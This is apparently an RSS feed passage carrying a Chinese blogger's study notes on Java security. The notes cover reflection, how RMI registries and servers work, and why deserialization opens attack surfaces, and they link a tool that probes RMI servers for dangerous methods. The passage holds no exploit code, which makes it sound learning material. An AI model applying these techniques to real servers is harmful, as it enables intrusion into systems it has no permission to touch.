<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=28adfbff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK7PEUqK6SibeQ3orlnZBdofXWCo13Cq1LicBrIx9P7YraZDk8X1CNT6Rg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e050bc0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKDyLb8zRDaFiaDALqSygZLzyhQ6UmgAkHWSsxXIcWqrVTQXsZM9JZ21A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=958a9f74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKmINW95E8bQ1ZYibfRxeGibu8kwS31VvfPfNqviae7qQbRKmmAoFuk7ZOA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a6fe35ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKvEibwt3TzYYWuiaSbMnCPV1VdJOq2vqnYmw4mvKtzvJHjd8hRyvJBfzQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=797bc049&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKxUjEDmDCmVmgjtYqPVf7haTAAz4x3Nic9J4EDMYLaica0ia92Owjk0xRw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bf034dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKyJAVeibpnH32Xmfnx1EClpqucJnzoOIVXQh87iciaoD8ic2H5ZiaCgib57Cw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2e3e47b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKjXN30gjQW0N4dibU2Pgft7M9DWexXS6wEZPD4WRsJgKicjv7AN7vibuqA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b9ad4ef7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKdga2OjkZHnKcQXPHcs6yxzluNcMZNa3azrd3M7RKYPmfJ7Z5IVVaow%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ab400cd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKibn8leJHAeBoa7tGYYLW5A48z2WgTGIIDLUzADQ3n4fgrwdaopLpKFw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=603527ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK3J6sUI9ZbCMCTt85TEMRicduet0YzqH9RPPVDDMQrC1dfKmpsEpkIZA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9ca9a9c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKXLYMq6LQ6duUvwtHzXqXUoYgbSsx3lvUEsrbaERwmJoefQSTxiaO3NQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1ba96276&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKscfFEhtUmaNjfp1K6Lp8nvmnricEq514iclubjF0NftTpfqXZzHHnjRg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3e96c18c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKhd2g2nObutIRjy80PaHbFyg2Pg96XgnIfbcOVIgdCHKvQNjibxqqcQg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6f62d0c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKYeiamW3Vvprc5RgP6cPA2gmBYiayZwaOSDLelVkHg9ickF5Hp3gzlJbGQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e929b9ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKKefQnicax2YwS6HHSX7OcjXGTWUt4ym0BjrAapQoDNgJJuseeFqp11Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b3b001cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK0NstFBFLiaTiaumkoDePy1MxIydo6QDJcoIV5pluc2RwkJEdJp5uZq5g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8363fe9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKEcReWJLNiaohgu61RUbKk3NkFhK2sOPwrPogIzia2eibQjq5hRNou1rPA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1ec7d370&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKGtxtic93vINXx3n0Z4n1Gm8Fb12xCFQYsx3daqXp9vRsNHytHkicUwDA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=091694a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKnlQTJBYlvbp5rfoS1iaoOrh8CxpiaKyp5J7JUPOiaC9aia1siab63qzRTnw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=98b02871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKG0et7ypNibhH7HtRGUoRxASvAH6rVOggk3ULfB6ZMePWZpJ1GvkpvzA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b2599534&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKI8Uekve9PBkAGcqe1xEJQAwNQd5GRdVFFicTY4ickfy514MpzM93zgaw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483903">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6a220c20&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483903%26idx%3D1%26sn%3D58755740560bba6ccd66f9f3c245953d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Jul 2023 00:04:00 +0800</pubDate>
    </item>
    <item>
      <title>[下班充电计划]java安全漫游学习笔记</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483853&amp;idx=1&amp;sn=ec50dbc0613813ff3d257bd6efb7c622</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>鲁平</span> <span>2023-07-05 23:58</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=643f6582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKx3M3Q3kNeqicGHoaIl7thxcyojPiciaSJKSmfoJXEVftnytKvYPIVKI3A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Calibri;">java反序列化笔记</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">获取类的⽅法： forName</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">实例化类对象的⽅法： newInstance</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">获取函数的⽅法： getMethod</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">执⾏函数的⽅法： invoke</span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">obj.getClass() 如果上下⽂中存在某个类的实例 obj ，那么我们可以直接通过            obj.getClass() 来获取它的类</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">Test.class 如果你已经加载了某个类，只是想获取到它的 java.lang.Class 对象，那么就直接            拿它的 class 属性即可。这个⽅法其实不属于反射。</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">Class.forName 如果你知道某个类的名字，想获取到这个类，就可以使⽤ forName 来获取</span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;font-weight:bold;">⾸先调⽤的是 static {} ，其次是 {} ，最后是构造函数。</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            其中， static {} 就是在“类初始化”的时候调⽤的，⽽ {} 中的代码会放在构造函数的 super() 后⾯，            但在当前构造函数内容的前⾯。            所以说， forName 中的 initialize=true 其实就是告诉Java虚拟机是否执⾏”类初始化“。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">我们经常在一些源码里看到，类名的部分包含 $ 符号，比如fastjson在 checkAutoType 时候就会            先将 $ 替换成 . ：</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://github.com/alibaba/fastjson/blob/fcc9c2a/src/main/java/com/alibaba/fa" target="_blank">https://github.com/alibaba/fastjson/blob/fcc9c2a/src/main/java/com/alibaba/fa</a></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            stjson/parser/ParserConfig.java#L1038。 $ 的作用是查找内部类</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">我们正常执行方法是 [1].method([2], [3], [4]...) ，其实在反射里就是            method.invoke([1], [2], [3], [4]...) 。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">方法 getConstructor 。和 getMethod 类似， getConstructor 接收的参数是构造函数列表类型，因为构造函数也支持重载，所以必须用参数列表类型才能唯一确定一个构造函数。获取到构造函数后，我们使用 newInstance 来执行</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">另一种执行命令的方式ProcessBuilder</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">对于可变长参数，Java其实在编译的时候会编译成一个数组，也就是说，如下这两种写法在底层是等价            的（也就不能重载）：</span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">hello</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> names</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{}</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">hello</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">...</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">names</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{}</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">getMethod 系列方法获取的是当前类中所有公共方法，包括从父类继承的方法</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">getDeclaredMethod 系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私            有的方法，但从父类里继承来的就不包含了</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">setAccessible ，这个是必须的。我们在获取到一个私有方法后，必须用            setAccessible 修改它的作用域，否则仍然不能调用。</span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">⼀个RMI Server分为三部分：</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">⼀个继承了 java.rmi.Remote 的接⼝，其中定义我们要远程调⽤的函数，⽐如这⾥的 hello()</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">⼀个实现了此接⼝的类</span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">⼀个主类，⽤来创建Registry，并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server</span></span></p><p><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">⾸先客户端连接Registry，并在其中寻找Name是Hello的对象，这个对应数据            流中的Call消息；然后Registry返回⼀个序列化的数据，这个就是找到的Name=Hello的对象，这个对应            数据流中的ReturnData消息；客户端反序列化该对象，发现该对象是⼀个远程对象，地址            在 192.168.135.142:33769 ，于是再与这个地址建⽴TCP连接；在这个新的连接中，才执⾏真正远程            ⽅法调⽤，也就是 hello() 。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">RMI Registry就像⼀个⽹关，他⾃⼰是不会执⾏远程⽅法的，但RMI Server可以在上⾯注册⼀个Name            到对象的绑定关系；RMI Client通过Name向RMI Registry查询，得到这个绑定关系，然后再连接RMI            Server；最后，远程⽅法实际上在RMI Server上调⽤</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">Java对远程访问RMI Registry做了限制，只有来源地址是localhost的时候，才能调用rebind、            bind、unbind等方法。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">只要目标服务器上存在一些危险方法，我们通过RMI就可以对其进行调用，之前曾经有一个工具            </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://github.com/NickstaDB/BaRMIe" target="_blank">https://github.com/NickstaDB/BaRMIe</a></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">，其中一个功能就是进行危险方法的探测。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">在序列化Java类的时候用到了一个类，叫 ObjectOutputStream 。这个类内部有一个方法            annotateClass ， ObjectOutputStream 的子类有需要向序列化后的数据里放任何内容，都可以重写            这个方法，写入你自己想要写入的数据。然后反序列化时，就可以读取到这个信息并使用。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">            </span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">PHP的序列化是开发者不能参与的，开发者调用 serialize 函数后，序列化的数据就已经完成了，你得            到的是一个完整的对象，你并不能在序列化数据流里新增某一个内容，你如果想插入新的内容，只有将            其保存在一个属性中。也就是说PHP的序列化、反序列化是一个纯内部的过程，而其 </span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;font-weight:bold;">sleep 、</span></span><span style="mso-bookmark:java反序列化笔记;"><span style="font-family:Cambria;">wakeup 魔术方法的目的就是在序列化、反序列化的前后执行一些操作。其实大部分PHP反序列化漏洞，都并不是由反序列化导致的，只是通过反序列化可以控制对象的属性，进而在后续的代码中进行危险操作</span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 